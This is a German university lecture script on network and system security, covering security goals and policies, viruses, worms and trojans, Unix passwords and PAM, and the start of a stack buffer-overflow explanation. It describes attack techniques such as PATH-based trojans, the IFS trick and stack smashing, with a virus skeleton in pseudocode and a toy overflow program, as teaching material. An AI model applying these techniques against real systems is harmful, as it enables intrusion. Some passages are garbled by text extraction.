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Vorwort

Die Frage nach der Sicherheit von Informationssystemen bekommt durch die fortschrei-
tende Vernetzung einen sehr hohen Stellenwert. Dieses Skript beschäftigt sich daher spe-
ziell mit der Sicherheit in vernetzten Systemen. Dabei steht die praktische Anwendung
von Verfahren im Vordergrund, die einen sicheren Umgang mit Informationen in vernetz-
ten Systemen erm̈oglichen. In diesem Sinne ist das Skript nicht etwa eine Einführung in
die Kryptologie und deren kryptographische Verfahren. Vielmehr steht die Anwendung
kryptographischer Verfahren in Protokollen und Werkzeugen im Vordergrund der Betrach-
tungen.
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Kapitel 1

Einf ührung

Informationssicherheit läßt sich in folgende Aspekte zerlegen:

• Rechnersicherheit:
Schutz der Informationen innerhalb eines Rechensystems.

• Kommunikationssicherheit:
Schutz der Informationen ẅahrend der̈Ubertragung zwischen einem oder mehreren
Rechensystemen. Dies beinhaltet auch den Schutz gegen die Bekanntgabe, daß eine
Kommunikation stattgefunden hat.

1.1 Ziele der Informationssicherheit

• Vertraulichkeit:
Informationen werden nur autorisierten Personen zugänglich gemacht.

• Integrität:
Integriẗat stellt die Konsistenz von Daten sicher. Nicht autorisierte Zugriffe (Erzeu-
gen, Modifizieren, L̈oschen von Daten) werden verhindert.

• Verfügbarkeit:
Legitime Benutzer d̈urfen beim Zugang zu Betriebsmitteln und Daten nicht behindert
werden.

• Legitime Nutzung:
Schutz der Betriebsmittel und Daten vor Benutzung durch nicht autorisierte Personen
oder in nicht autorisierter Art und Weise.

1.2 Sicherheitsrichtlinien

Sicherheitsrichtlinien (security policies) sind ein Regelwerk, das den sicheren Umgang mit
Informationen und den informationsverarbeitenen Systemen in einer Organisation festlegt.
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Alle Personen in einer Organisation müssen diese Richtlinien kennen und sich an sie halten.
Dies betrifft insbesondere auch die Beschaffung, die Konfiguration und dieÜberwachung
von Rechensystemen und Kommunikationseinrichtungen.

Prozeßmodell zur Erstellung und Umsetzung von Sicherheitsrichtlinien:

1. Aufstellung zu scḧutzender Posten.

2. Katalogisierung der m̈oglichen Bedrohungen.

3. Bestimmung der Wahrscheinlichkeiten der festgestellten Bedrohungen (Risikoana-
lyse).

4. Implementierung von Schutzmaßnahmen, die in einem angemessenen Preis- und
Leistungsverḧaltnis stehen.

5. Beobachtung des Prozesses undÜberarbeitung der Sicherheitsrichtlinien bei erkann-
ten Mängeln oder Ver̈anderungen der Rahmenbedingungen (insbesondere der einge-
setzten Technologien oder der Organisationsstruktur).

Komponenten von Sicherheitsrichtlinien:

• Beschaffungsrichtlinienlegen fest, welche Sicherheitseigenschaften bei Beschaffun-
gen zu ber̈ucksichtigen sind.

• Vertraulichkeitsrichtlinienbeschreiben, welche Erwartungen bezüglich der Vertrau-
lichkeit von Daten gemacht werden dürfen.

• Zugriffsrichtlinien definieren grundlegende Zugriffsrechte zur vorhandenen Infra-
struktur, typischerweise unterteilt nach verschiedenen Klassen von Personen in einer
Organisation.

• Überwachungsrichtliniendefinieren, welche Maßnahmen zurÜberwachung der Um-
setzung der Sicherheitsrichtlinien getroffen werden müssen.

• Authentifizierungsrichtlinienlegen fest, welche Verfahren und Technologien zur Au-
thentifizierung eingesetzt werden und nach welchen Richtlinien beispielsweise Pass-
worte zu ẅahlen sind.

• Verfügbarkeitsrichtlinienlegen grunds̈atzliche Anforderungen an die Verfügbarkeit
von Informationen und die verarbeitenden Systeme fest.

• Wartungsrichtliniendefinieren, wie Wartungsarbeiten durchzuführen sind und wie
internes und externes Wartungspersonal Zugriff auf Systeme und Daten erhält.

• Benachrichtigungsrichtlinienbestimmen, welche Verletzungen der Sicherheitsricht-
linien gemeldet werden m̈ussen und wer für die Behebung der Sicherheitsverletzung
zusẗandig ist.
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1.3 Sicherheitsdienste

Grundlegende Sicherheitsdienste:

1. Authentifizierungversichert die Identiẗat einer Person oder eines Systems. Prinzipi-
elle Methoden:

(a) Bestimmtes Wissen (z.B. Paßworte, PIN)

(b) Bestimmter Gegenstand (z.B. Schlüssel, Smartcard)

(c) Unver̈anderliche Charakteristike (z.B. Retina, Fingerabdruck)

(d) Bestimmter Ort

(e) Authentifizierung durch eine dritte glaubwürdige authentifizierte Partei

2. Zugriffskontrollescḧutzt gegen illegitime Benutzung, nicht autorisierte Enthüllung,
illegitime Modifikation bzw. Vernichtung von Daten oder Betriebsmitteln.

• Willkürliche Zugriffskontrolle:
Subjekte besitzen die Objekte, die sie erzeugt haben. Subjekte sind in der Lage,
die Zugriffserlaubnis auf andere Subjekte zu erweitern.

• Obligatorische Zugriffskontrolle:
Zugriffsrechte werden a priori auf der Basis von Festlegungen bestimmt. Sub-
jekte k̈onnen die Zugriffserlaubnis auf Objekte nur im Rahmen bestimmter Re-
geln modifizieren.

Typen von Zugriffskontrollsystemen:

(a) Identitätsbasierte Zugriffskontrolle:
Erlaubt oder verweigert explizit definierten Subjekten den Zugriff auf Objekte.

(b) Rollenbasierte Zugriffskontrolle:
Subjekten werden Rollen zugeordnet, anhand dererüber die Zugriffserlaubnis
entschieden wird. Achtung: Kombinationen von Rollen sind gefährlich.

(c) Multi-level Zugriffskontrolle:
Objekte werden Sicherheitsstufen zugeordnet (z.B.öffentlich, sensitiv, geheim,
streng geheim). Subjekte erhalten Zugriffserlaubnis bis zu einer bestimmten
Sicherheitsstufe.

3. Vertraulichkeitverhindert die nicht autorisierte Offenbarung von Informationen (Exi-
stenz von Daten, Größe und Umfang von Daten, Inhalt der Daten, dynamisches Ver-
halten von Daten).

4. Datenintegriẗat scḧutzt vor nicht autorisierter Modifikation, Vernichtung oder Erset-
zung von Daten.

5. Unwiderrufbarkeitverhindert, daß ein Kommunikationspartner das Stattfinden einer
Kommunikation leugnen kann oder ein Kommunikationspartner Behaupten kann,
daß eine nicht erfolgte Kommunikation stattgefunden hat.
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Neben diesen Diensten werden gelegentlich in speziellen Anwendungsgebieten weitere
Sicherheitsdienste (z.B. die Aktualität von Informationen) gefordert.

1.4 Organisationen

Es gibt eine ganze Reihe von Organisationen, die relevante Informationen bereitstellen:

• DasComputer Emergency Response Teamsammelt Informationen̈uber Sicherheits-
lücken und ver̈offentlicht Maßnahmen zur Beseitigung von Sicherheitslücken.

• DasBundesamt f̈ur Sicherheit in der Informationstechnikgibt neben aktuellen Infor-
mationen auch das IT-Grundschutzhandbuch heraus, das alle wesentlichen Informa-
tionen zur Informationssicherheit bündelt und insbesondere auch wertvolle Hinweise
zur baulichen Infrastruktur und zur personellen Organisation gibt.

• Das National Institute of Standards and Technologyder USA hat entscheidenden
Einfluß auf die Standardisierung von Verschlüsselungsalgorithmen.

Literaturhinweise

Grundlegende Informationen zu den Zielen der Informationssicherheit findet man in [21].
Einen gutenÜberblick findet man auch in [16]. Ein eher praktisch angelegtes Buch mit
einem Schwerpunkt auf Internet Protokolle ist [50].

RFC 2196 [22] beschreibt Grundlagen für Sicherheitsrichtlinien im Internet und richtet
sich vorwiegend and Systembetreiber. RFC 2504 [24] richtet sich speziell an Endnutzer
und entḧalt viele wertvolle Hinweise, wie sich Endnutzer schützen k̈onnen und zu einem
sicheren Betrieb der Infrastruktur beitragen können.
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Kapitel 2

Viren, Würmer, Trojanische Pferde

2.1 Viren

Viren sind Programmfragmente, dieüber Wirtsprogramme unbemerkt in Rechensysteme
gelangen und sich dort ausbreiten. Durch dieÜbertragung von

”
infizierten“ Programmen

auf andere Rechensysteme breiten sich diese Viren aus.

procedure virus
begin

int identification = 4711;

<find a program file which is not yet infected>
if <program found> then

<copy virus into program file>
fi

if <outbreak condition> then
<modify system>

fi

end
<jump to original main>

Schadensteil

Viruskennung

Infektionsteil

Abbildung 2.1: Prinzipieller Aufbau eines Virus

Gegenmaßnahmen:

• Antivirusprogramme entdecken Viren (z.B. an der Kennung) und entfernen den Vi-
rus, indem die originale Einsprungadresse restauriert wird.

• Einschr̈ankung von Schreibrechten an Dateien und insbesondere an ausführbaren
Programmen oder Skripten.

• Verschl̈usselte Speicherung von ausführbaren Programmen, wodurch die Gefahr ei-
ner Infektion auf laufende Programme beschränkt wird.
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• Regelm̈aßige Kontrolle von etwaigen Veränderungen (Infektionen) an ausführbaren
Programmen. Hilfreich ist hierfür die regelm̈aßige Berechnung von Hashwerten und
deren Vergleich. Die Hashwerte müssen naẗurlich speziell gesichert werden, um sie
vor Ver̈anderungen durch einen Virus zu schützen.

Makro-Viren sind ausf̈uhrbare Makros, die in Dokumentdateien eingebettet sein können.
Es empfiehlt sich, vor dem̈Offnen von fremden Dokumenten, die Interpretation von Ma-
kros zu deaktivieren.

Beispiel 1 Der Virus
”
Pakistani Brain“ infiziert den Boot-Sektor von MS-DOS Disketten.

Er nistet sich im floppy disc controller ein. Bei einer Leseoperation versucht der Virus
den Boot-Sektor der Diskette zu lesen. Ist der Boot-Sektor noch nicht infiziert, so wird der
Virus in den Boot eingetragen. Einige Versionen des Virus markieren zufällig Bereiche auf
der Diskette als unbrauchbar, was letztlich dazu führt, daß die ganze Diskette unbrauchbar
wird.

Beispiel 2 Der
”
Jerusalem“ Virus infiziert ausführbare Dateien unter MS-DOS oder Win-

dows (.COM oder .EXE). Der Virus versucht jedes Programm zu infizieren, daß ausgeführt
wird. Der Virus zersẗort Informationen im Dateisystem und verbreitet sichüber Program-
me, dieüber Disketten ausgetauscht werden.

2.2 Würmer

Würmer sind ablauff̈ahige Programme, die sicḧuber Netzwerke verbreiten und Schwach-
stellen der Sicherheitsarchitektur von Systemen oder einfache Programmier- und Admini-
strationsfehler ausnutzen.

Beispiel 3 Der Internet-Wurm wurde 1988 von Robert Morris an der Cornell Universität
gestartet. Der Wurm befiel in einer Nacht an verschiedenen Orten 6000 Systeme. Der
Wurm nutzte Schwachstellen in Unix-Systemen aus, um sich zu verbreiten:

• Es wurden ḧaufig benutzte Paßworte systematisch ausprobiert, um Zugang zu Unix-
Systemen zu bekommen.

• Es wurde ein Angriff auf denfinger Serverprozeß versucht, der einen Implementa-
tionsfehler ausnutzte (Speicherüberlauf bei langen Eingaben), um dadurch Zugang
zum System zu bekommen.

• War der Angriff auf denfinger Serverprozeß nicht erfolgreich, so wurde ein An-
griff auf densendmail Serverprozeß versucht, wobei man einen Programmierfeh-
ler in einer Option zur Fehlersuche im Serverprozeß ausnutzte.

• Zus̈atzlich wurden Vertrauensbeziehungen zwischen Internet-Rechnern ausgenutzt,
um

”
benachbarte“ Systeme zu befallen.
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Beispiel 4 Im Mai 2000 f̈uhrte der WurmILOVEYOUzum Zusammenbruch der elektro-
nischen Datenverarbeitung in vielen amerikanischen und europäischen Firmen mit einem
gescḧatzten Schaden von 10 Milliarden Euro. DerILOVEYOU–Wurm ist eine Visual Ba-
sic Script Datei, die sich als E-mail–Attachment verbreitete. Die E-mail wurde mit der
Subject–ZeileILOVEYOUverschickt. Der Wurm befiel nur Windows–Rechner, da er sich
der Daten aus Windows Outlook bediente, um Mails mit dem Wurm als Attachment an
die in der Addreßdatei gespeicherten Mailadressen zu senden. Der Wurm zerstörte Daten
des lokalen Dateisystems, u.a. JPEG–Bilder, MP2- oder MP3-Musikdateien oder Videoda-
teien. Schließlich untersuchte er die Festplatte nach Paßworten, um diese Daten an den
Programmierer des Wurms zu verschicken.

Beispiel 5 Am 19 Juli 2001 hat der WurmCode-Red (CRv2) mehr als 359.000 Computer
in weniger als 14 Stunden befallen — in den aktivsten Zeiten mehr als 2.000 Rechner pro
Minute. 43% der infizierten Rechner waren aus den USA, 11% aus Korea, 5% aus China
und 4% aus Taiwan. Deutsche Rechner waren zu 3% befallen [37]. Der Wurm nutzt einen
Puffer̈uberlauf im Microsoft’s IIS Web-Server aus. Nachdem ein Web-Server infiziert ist,
generiert er zuf̈allig IP-Adressen und verbreitet sich sofern bei der IP-Adresse ein IIS Web-
Server zu finden ist.

Würmer versuchen sich zu verbergen, indem Dateien und Daten versteckt abgelegt werden,
Protokolldateien des Systems verändert werden, und Programme zur Systemüberwachung
manipuliert werden.

Gegenmaßnahmen:

• Schließen von allen bekannten Sicherheitslücken im System.

• Überpr̈ufung von Dateiver̈anderungen durch die regelmäßige Berechnung von Hash-
werten.

• Regelm̈aßige Auswertung von Protokolldateien.

• Server-Programme, die Netzwerkdienste realisieren, sollten mit möglichst geringen
Rechten und in abgegrenzten Systembereichen oder auf speziellen Rechnern aus-
geführt werden.

2.3 Trojanische Pferde

Ein Trojanisches Pferd ist ein scheinbar nützliches Programm, das versteckte Anweisungen
besitzt, um Systeme zu manipulieren oder unerlaubterweise Daten zu sammeln.

Beispiel 6 Im Dezember 1987 verbreitete sich eine EMail Nachricht im BITNET, EARN
und IBM’s internem Netzwerk, die neben reinem Text auch Programmtext enthielt, der
einen Weihnachtsbaum malt. Der Weihnachtsbaum wurde beim Aufruf auch tatsächlich ge-
malt. Gleichzeitig verbreitete sich das Programm an alle lokal bekannten EMail-Adressen
des Benutzers.
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Beispiel 7 Ende M̈arz 1998 stellten zwei Schüler aus K̈oln die sogenannten T-Online Po-
wer Tools zur Automatisierung von Verwaltungsaufgaben frei verfügbar in das Netz. Die
Benutzer wurden gebeten sich bei den Autoren zwecks Informationüber Bugs und Up-
dates registrieren zu lassen. Die zusätzliche Funktionaliẗat der Tools bestand darin, daß
die Festplatte nach verschlüsselt abgelegten Zugangsdaten des T-Online–Dienstes durch-
sucht wurde und diese bei der Registrierung an die Autorenübermittelt wurden. Die unter
Windows verschlüsselten Passẅorter konnten mittels des frei verfügbaren Programmsre-
velation entschl̈usselt werden.

Trojanische Pferde werden durch die Manipulation von Quellcode erzeugt und durch be-
sondere Eigenschaften angepriesen und verbreitet. In einigen Fällen wurden Trojanische
Pferde auch unbemerkt durch die Softwarehersteller selbst verbreitet.

Gegenmaßnahmen:

• Quelltexte sollten grundsätzlich vor schreibenden Zugriffen von nicht autorisierten
Benutzern gescḧutzt werden.

• Protokollierung allerÄnderungen am Quelltext und Identifizikation der jeweiligen
Programmierer.

• Prüfung und ggf. Offenlegung von Quelltexten.

• Ausschließliche Installation und Benutzung von Programmen, die aus vertrauens-
würdigen Quellen stammen.

• Verwendung von Pr̈ufsummen und Signaturen, um Modifikationen während der Ver-
teilung von Programmen und Quelltexten auszuschließen.

Literaturhinweise

Einen guten̈Uberblicküber Viren, Ẅurmer und Trojanische Pferde findet man in [56]. Der
Internet-Wurm wird in [17] und [54] ausf̈uhrlich beschrieben.
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Kapitel 3

Sicherheitsaspekte von Unix-Systemen

3.1 Paßworte

Der Zugang zu Unix-Systemen ist in der Regel durch Paßworte gesichert. Einfache Paß-
wortverfahren sind prinzipiell ein wenig geeignetes Authentifizierungsverfahren, da es in
der Regel einfach ist, Paßworte zu erraten oder von unachtsamen Benutzern durch gezielte

”
Beobachtung“ zu erhalten.

Eigenschaften des Unix Paßwortsystems:

• Die Datei/etc/passwd , die die verschl̈usselten Paßworte enthält, ist oftmals les-
bar und kann manchmal auch bei derenÜbertragung im Netz abgehört werden. Da-
mit besitzt ein Angreifer die M̈oglichkeit, die verschl̈usselten Paßworte

”
offline“ zu

brechen.

• Gelegentlich werden Softwareprodukte mit vordefinierten Benutzerkennungen und
Standard-Paßworten ausgeliefert.

• Unix Paßworte bestehen aus 8 Zeichen (7 Bit ASCII Kodierung), was eine theoreti-
sche Schl̈ussell̈ange von 56 Bit ergibt. Tatsächlich liefern einfache englische Worte
nur eine Schl̈ussell̈ange von 19 Bit, bei der Benutzung von Sonderzeichen erreicht
man bis zu 40 Bit.

• Die Verschl̈usselung des Paßworts erfolgt mit einem zuätzlichen Zeichen (salt), das
zufällig vergeben und mit dem verschlüsselten Paßwort gespeichert wird. Das Salz
(salt) bewirkt, daß zwei identische Paßworte nicht automatisch zu demselben ver-
schl̈usselten Paßwort führen.

• Die Ausgabe der Verschlüsselung (eine Variante des DES) wird durch eine nicht-
umkehrbare Abbildung in ASCII konvertiert.

• Attacken sind durch einfaches Raten und das systematische Ausprobieren von Paß-
worten erfolgreich. Mit Hilfe von SIMD (Single Instruction Multiple Data) Hard-
ware ist es heutzutage möglich, alle m̈oglichen Paßworte in ca. zwei Tagen auszu-
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probieren. Beschränkt man sich auf Paßworte, die nur aus Buchstaben und Ziffern
bestehen, so ist eine erschöpfende Suche schon in ca. 2 Stunden möglich.

Gegenmaßnahmen:

• Verwendung von guten Paßworten, die Sonderzeichen enthalten, lang genug sind
und nicht einfach zu erraten sind.

• Regelm̈aßigesÄndern von Paßworten.

• Einige Unix-Systeme k̈onnen die Paßworte in speziellen Dateien ablegen, so daß
normale Benutzer keinen Zugriff auf die verschlüsselten Paßworte haben.

• Alternative Benutzerauthentifikation durch Smart-Cards oder unveränderliche Merk-
male (z.B. Stimme, Retina).

3.2 Pluggable Authentication Modules (PAM)

Das Konzept der Pluggable Authentication Modules (PAM) wurde entwickelt, um die
Authentifikation von Benutzern und die Verwaltung von Accounts konfigurierbar und er-
weiterbar zu machen, ohne Programme wie z.B.login , su , ftp , ssh ändern zu m̈ussen.
Das PAM-System erlaubt es insbesondere, das normale Unix Paßwortsystem durch andere
Verfahren zu ersetzen. Die meisten Linux-Systeme unterstützen die Linux PAM Implemen-
tation (Linux-PAM), zu der etliche austauschbare und konfigurierbare Module existieren.

/etc/pam.conf

«library»

libpam.so

«executable»

login

«executable»

ssh

«library»

pam_deny

«library»

pam_allow

«library»

pam_unix_auth

Abbildung 3.1: Komponenten des PAM-Systems

Abbildung3.1zeigt die Komponenten der Linux-Pam Implementation. Applikationen wie
z.B. login undssh benutzen dielibpam Bibliothek, um die Authentifikation von Be-
nutzern durchzuf̈uhren. Dielibpam Bibliothek wiederum liest Konfigurationsdateien
wie z.B. /etc/pam.conf um ein bestimmtes Authentifikationsverfahren auszuwählen.
Konkrete Authentifikationsverfahren sind als dynamisch ladbare PAM-Module implemen-
tiert.
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PAM-Module k̈onnen vier verschiedene Aufgabenübernehmen:

1. Authentifikation: Module authentifizieren Benutzer indem sie entweder ein Paßwort
von der Applikation verlangen und verifizieren oder eine andere Authentifikations-
methode realisieren. Diese Module können auch die Gruppenzugehörigkeit bestim-
men.

2. Account: Module k̈onnen den Zugang zu einem Account kontrollieren. Sie erledi-
gen keine Authentifizierung sondern prüfen andere Restriktionen wie z.B. Uhrzeit,
verfügbare Betriebsmittel, oder die Lokation des Benutzers.

3. Session: Module realisieren Aufgaben, die erledigt werden müssen wenn einem Be-
nutzer Zugriff auf einen Dienst (service) erlaubt wird, wie z.B. die Protokollierung
des Vorgangs oder die Bereitstellung der Benutzerumgebung.

4. Password: Module untersẗutzen die Aktualisierung der Authentifizierungsinforma-
tionen wie z.B. des gespeicherten Paßworts.

Um die Flexibiliẗat zu erḧohen, k̈onnen PAM-Module f̈ur verschiedene Applikationen ge-
stapelt werden und auf diese Art und kombiniert werden. Außerdem können PAM-Module
mit modulspezifischen Argumenten versorgt werden. Die einzelnen Module im Stapel
können die Abarbeitung des Stapels wie folgt beeinflussen:

• required: Das Modul muß erfolgreich beendet werden, damit die Aufgabe erfolg-
reich abgeschlossen wird. Wird ein Module nicht erfolgreich beendet, so werden die
nachfolgenden Module trotzdem abgearbeitet. (Dies kann verhindern, daß Angreifer
aus einem erfolglosen Versuch Schlüsse ziehen k̈onnen.)

• requisite: Das Modul muß erfolgreich beendet werden, damit die Aufgabe erfolg-
reich abgeschlossen wird. Wird ein Module nicht erfolgreich beendet, so wird der
Vorgang sofort abgebrochen. Dies kann nützlich sein, um dieÜbertragung eines
Paßworts̈uber einen unsicheren Kanal zu unterbinden.

• sufficient: Das Module schließt die aktuelle Aufgabe erfolgreich ab, sofern es erfolg-
reich beendet wird und alle vorher im Stapel liegende Module erfolgreich bestanden
wurden. Nachfolgende Module werden in diesem Fall nicht mehr betrachtet.

• optional: Das Modul ist f̈ur den erfolgreichen oder erfolglosen Abschluß der Aufga-
be nicht relevant.

Eine Konfiguration in/sec/pam.conf für das Programmlogin , die das klassische
Unix-Verhalten nachbildet, sieht folgendermaßen aus:

login auth required /usr/lib/security/pam_unix_auth.so
login account required /usr/lib/security/pam_unix_acct.so
login password required /usr/lib/security/pam_unix_passwd.so
login session required /usr/lib/security/pam_unix_session.so
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Eine Konfiguration f̈ur einen FTP-Server k̈onnte folgendermaßen aussehen:

ftpd auth sufficient /usr/lib/security/pam_ftp.so
ftpd auth required /usr/lib/security/pam_unix_auth.so \

use_first_pass
ftpd auth required /usr/lib/security/pam_listfile.so \

onerr=succeed item=user \
sense=deny file=/etc/ftpusers

Zunächst wird auf einen anonymen FTP-Zugang getested. Wird der Test nicht bestanden,
dann wird auf ein Unix-Paßwort getested (ohne das Paßwort erneut zu erfragen). Fall
der Test erfolgreich ist, wird geprüft ob der Benutzername in der Datei/etc/ftpuser
vorhanden ist. Abbildung3.2stellt die Logik dieses Beispiels als Zustandsdiagramm dar.

pam_ftp

pam_unix_auth

pam_listfile

failed

ok
failed

pam_listfile

ok

acceptreject

ok, failed
failed ok

Abbildung 3.2: Authentifizierung eines FTP-Zugangs mit PAM

3.3 Umgebungsvariablen und Kommandointerpreter

Das Verhalten von Unix-Programmen läßt sich oftmals durch sogenannte Umgebungsva-
riablen (environment variables) beeinflussen. Eine unachtsame Wahl oder gezielte Mani-
pulation von Umgebungsvariablen kann ernste Sicherheitsrisiken erzeugen:

• UmgebungsvariablePATH:
Unix-Kommandointerpreter suchen ausführbare Dateien in allen Verzeichnissen, die
in der UmgebungsvariablePATHaufgelistet sind. Beinhaltet die Umgebungsvaria-
ble PATHVerzeichnisse, die nicht vertrauenswürdig sind (d.h. in denen beliebige
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Benutzer schreiben dürfen), dann kann ein Angreifer dort leicht Trojanische Pferde
unterbringen.

Wenn die UmgebungsvariablePATHden Punkt. entḧalt, dann kann von einem An-
greifer in einem allgemein schreibbaren Verzeichnis (z.B./tmp ) ein ausf̈uhrbares
ls Kommando angelegt werden. Ein Kommandointerpreter eines ahnungslosen Be-
nutzers wird dann beim Wechsel in dieses Verzeichnis automatisch das neuels
Kommando ausf̈uhren.

• UmgebungsvariableIFS :
Die UmgebungsvariableIFS (input field separator) kontrolliert bei vielen Kom-
mandointerpretern, welche Begrenzungszeichen benutzt werden, um eine Eingabe
in mehrere Worte zu zerlegen. Durch das Setzen vonIFS auf / wird aus dem Kom-
mando/bin/date das Kommandobin mit dem Argumentdate .

Unix-Kommandointerpreter werden häufig benutzt, um festgelegte Befehlsfolgen (soge-
nannte Skripte) abzuarbeiten. Bei der Erstellung solcher Skripte ist es sehr wichtig, daß
die Umgebungsvariablen selbst gesetzt werden, um sich vor bösartigenÜberraschungen zu
scḧutzen.

Generell ist davor zu warnen, Skript-Dateien mit speziellen Rechten ausführbar zu ma-
chen. Sogenanntesetuid -Skripte, die mit den Rechten desjenigen Benutzers ausgeführt
werden, der sie installiert hat, sind oftmals unsicher, da man durch geeignete Maßnahmen
einen Abbruch erzwingen kann, bei dem dann ein beliebiges Kommando unter den Rechten
des Besitzers dessetuid -Skripts ausgef̈uhrt wird.

3.4 Dateien und Dateirechte

Die Sicherheit eines Unix-Systems hängt entscheidend von der sorgsamen Administration
undÜberwachung der Dateirechte ab. Besonders kritisch sind Gerätedateien (/dev ) und
setuid /setgid Dateien. Aber auch die normalen Lese- und Schreibrechte sind wichtig
zur Sicherung der Vertraulichkeit von Daten. Werkzeuge wie COPS [19] oder cfengine [6]
helfen, konsistente Dateirechte zuüberwachen.

Kritisch sind oft auch symbolische Links, mit denen Angreifer typischerweisesetuid
Programme auf

”
falschen“ Daten arbeiten lassen, um sich dadurch spezielle Rechte zu

verschaffen.

Problematisch sind auch verteilte Dateisysteme, die auf unsicheren Protokollen beruhen
(z.B. NFS) oder inkonsistent administrierte Benutzterkennungen in vernetzten Dateisyste-
men.

3.5 Sicherheitsfeatures

UNIX besitzt allerdings auch einige Sicherheitsfeatures, die allerdings nicht immer konse-
quent genutzt werden:
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• Typischerweise sehr stabile und zuverlässige Kernel.

• Begrenzung der verfügbaren Betriebsmittel durchsetrlimit() .

• Mit Hilfe deschroot() Systemaufrufs k̈onnen Prozesse in einem eingeschränkten
Dateisystem ausgeführt werden. Durch die Verwendung vonchroot() können
also Sandboxen für Serverprozesse (z.B. anonymous ftp oder anonymous cvs) ein-
gerichtet werden.

usr

/

etcbin

libetcbin

lib pubbin

lib ftp

chroot()

Abbildung 3.3: Einschr̈ankung der Sicht auf das Unix-Dateisystem

Literaturhinweise

Eine effiziente SIMD-Hardware zum Knacken von Unix-Paßworten ist in [28] beschrieben
worden. Die Linux-PAM Implementation ist in [40, 39, 38] beschrieben. Eine Zusammen-
fassung der Linux-PAM Programmierschnittstelle und ein kleines Beispiel findet man in
[18].
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Kapitel 4

Sicherheitsprobleme durch
Programmierfehler

Die meisten Einbr̈uchswerkzeuge nutzen Programmierfehler aus. Viele dieser Program-
mierfehler sind insbesondere dann schwerwiegend, wenn sie in Programmen mit speziellen
Rechten (z.B. UNIXsetuid Programme) auftreten. Die meisten dieser Programmierfeh-
ler sind spezifisch f̈ur die Programmiersprache C (bzw. C++) bzw. POSIX Betriebssysteme.
Die folgenden Abschnitte setzen daher ein grundlegendes Verständnis der Programmier-
sprache C voraus.

4.1 Generelle Programmierfehler

4.1.1 Verletzungen des Prinzips der geringsten Rechte

Programme sollten grundsätzlich so geringe Rechte wie möglich besitzen. Ein ḧaufiger
Fehler insetuid -Programmen ist die fehlende Abgabe der besonderen Rechte, wenn sie
nicht mehr ben̈otigt werden.

4.1.2 Fehlende Validierung von Eingaben

Eingaben k̈onnen oftmals besondere Zeichensequenzen enthalten (
”
elektrische Zeichen“),

die insbesondere bei Interpretern zu unerwartetem Verhalten führen k̈onnen. Im Extremfall
ist es sogar m̈oglich, durch geschickte Eingaben Programme zum Starten von Komman-
dointerpretern zu bewegen. Achtung: Solche

”
elektrischen Zeichen“ k̈onnen auch in URLs

oder DNS Namen versteckt sein.

Man beachte, dass Eingaben im weiteren Sinne auch aus der Umgebung kommen können.
Dazu geḧoren Umgebungsvariablen, aber natürlich auch die vom erzeugenden Prozess ge-
erbte Umgebung. Es ist also notwendig eines̈auberëUmgebung aufzusetzen (z.B. alle
geerbten Dateideskriptoren explizit zu schließen).
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4.1.3 Fehlende Laufzeitfehlerpr̈ufung

Fehlende Tests auf aufgetretene Laufzeitfehler führen zu unvorhergesehenen Programma-
bläufen. Das kann für Angriffe ausgenutzt werden. Es ist also darauf zu achten, dass für
jeden Systemaufruf entsprechende Fehlertests vorhanden sind und das diese auch funktio-
nieren.

4.2 Pufferüberläufe

In C-Programme werden oftmals Puffer mit fester Größe verwendet um Daten temporär zu
speichern. Da die Sprache C Puffergrenzen nicht automatischüberpr̈uft, ist es Aufgabe des
Programmierers auf die Einhaltung der Puffergrenzen selbst zu achten. Fehlt eine sorgsa-
me Pr̈ufung der Puffergrenzen, so können oftmals speziell geformte Eingaben konstruiert
werden, die gezielt Speicherinhalte außerhalb des Puffers verändern (buffer overflow) und
dadurch den gesamten Programmablaufändern.

Im folgenden wird das Prinzip von Attacken beschrieben, die durch dasÜberschreiben von
Puffern auf dem Stack beliebigen Code ausführen k̈onnen (stack smashing, stack-based
buffer overflow). Die Diskussion setzt einen Intel x86 Prozessor mit einem Linux Be-
triebssystem voraus. Entsprechende Attacken für andere Betriebssysteme und Prozessoren
lassen sich aber entsprechend konstruieren.

Beispiel 8 Puffer̈uberläufe entstehen oftmals durch die Verwendung von statischen Puf-
fern. Oftmals geschieht der eigentlicheÜberlauf in Bibliotheksfunktionen:

static void
overflow(char *s)
{

char buffer[16];
/* ... */
strcpy(buffer, s);

}

int
main(int argc, char **argv)
{

char string[256];

memset(string, ’A’, sizeof(string)); /* ’A’ = 0x41 */
string[sizeof(string)-1] = 0;
overflow(string);
return 0;

}
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Wird die Funktionoverflow() mit einem String aufgerufen, der Länger als 15 Byte
ist, dann kopiertstrcpy über die Puffergrenze hinaus Daten. Da der Pufferbuffer
auf dem Stack allokiert wurde, können dabei weitere Daten zerstört werden. Bei eini-
gen Prozessorarchitekturen (wie z.B. der Intel ix86 Familie) beinhaltet der Stack auch die
Rücksprungadresse. Die Ausführung des kleinen Programms auf einer Intel ix86 Platform
liefert entsprechend einen

”
segmentation fault“ an der Adresse 0x41414141.

Beispiel 9 Gelegentlich sind Pufferüberläufe in weitverbreiteten C-Bibliotheksfunktionen
versteckt:

char s[100], *p;
/* ... */
gets(s);
sprintf(s, "%s", p);

ANSIgets() und sprintf() überpr̈ufen die Gr̈oße von s nicht. Die L̈osung ist die
Verwendung von Ersatzfunktionen wiefgets() undsnprintf() sofern verf̈ugbar.

Beispiel 10 Es gibt oftmals auch nicht offensichtliche Fehler in Schleifen die Eingaben
lesen:

char line[80];
char *sp;
int c;
/* ... */
sp = line;
do {

c = getc(inf);
*sp++ = c;

} while ((c != ’\n’) && (c != EOF));

4.2.1 Intel ix86 Stacks und Prozeduraufrufe

Im folgenden wird beschrieben, wie bei den Intel ix86 Prozessoren der Stack verwaltet
wird und ein Prozeduraufruf abläuft.

• Die Intel ix86 Prozessorfamilie benutzt einen Stack, der von den höheren Speicher-
adressen in Richtung der niedrigeren Speicheradressen wächst.

• Beim Prozeduraufruf werden zuerst die Parameter auf den Stack kopiert. Anschlie-
ßend wird der aktuelle Befehlszähler (instruction pointer, IP) als Rücksprungadresse
auf den Stack kopiert bevor der aktuelle Framepointer auf dem Stack abgelegt wird.
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instruction pointer (4 Byte)
frame pointer (4 Byte)

buffer1 (40 Bytes)

a (4 Byte)
b (4 Byte)
c (4 Byte)

buffer2 (48 Bytes)
� � � � � � � � � �
� � � � � � � � � �
� � � � � � � � � �
� � � � � � � � � �
� � � � � � � � � �
� � � � � � � � � �

� � � � � � � � � �
� � � � � � � � � �
� � � � � � � � � �
� � � � � � � � � �
� � � � � � � � � �
� � � � � � � � � �

(text region)

Programmtext

Stackbereich

(stack region)

Datenbereich

(data region)

0x00000000

bottom of stack

